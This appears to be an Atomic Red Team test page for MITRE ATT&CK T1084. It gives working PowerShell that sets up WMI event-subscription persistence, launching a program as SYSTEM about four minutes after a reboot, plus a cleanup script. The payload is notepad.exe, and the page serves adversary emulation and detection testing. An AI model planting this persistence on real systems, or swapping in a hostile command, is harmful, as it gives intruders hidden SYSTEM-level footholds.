53 lines
2.5 KiB
Markdown
53 lines
2.5 KiB
Markdown
|
## Windows Management Instrumentation Event Subscription
|
||
|
|
|
||
|
|
MITRE ATT&CK Technique: [T1084](https://attack.mitre.org/wiki/Technique/T1084)
|
||
|
|
|
||
|
|
### Persistence
|
||
|
|
|
||
|
|
Example:
|
||
|
|
```powershell
|
||
|
|
#Run from an administrator powershell window
|
||
|
|
#Code references
|
||
|
|
#https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af
|
||
|
|
#https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
|
||
|
|
|
||
|
|
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
|
||
|
|
EventNameSpace='root\CimV2';
|
||
|
|
QueryLanguage="WQL";
|
||
|
|
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
|
||
|
|
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
|
||
|
|
|
||
|
|
$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
|
||
|
|
CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
|
||
|
|
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
|
||
|
|
|
||
|
|
$FilterToConsumerArgs = @{
|
||
|
|
Filter = [Ref] $Filter
|
||
|
|
Consumer = [Ref] $Consumer
|
||
|
|
}
|
||
|
|
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
|
||
|
|
```
|
||
|
|
|
||
|
|
After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.
|
||
|
|
|
||
|
|
|
||
|
|
Cleanup:
|
||
|
|
```powershell
|
||
|
|
#Run from an administrator powershell window
|
||
|
|
#Code references
|
||
|
|
#https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af
|
||
|
|
#https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
|
||
|
|
|
||
|
|
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
|
||
|
|
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-Example'"
|
||
|
|
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
|
||
|
|
|
||
|
|
$FilterConsumerBindingToCleanup | Remove-WmiObject
|
||
|
|
$EventConsumerToCleanup | Remove-WmiObject
|
||
|
|
$EventFilterToCleanup | Remove-WmiObject
|
||
|
|
```
|
||
|
|
|
||
|
|
#### References
|
||
|
|
|
||
|
|
https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af
|
||
|
|
https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545
|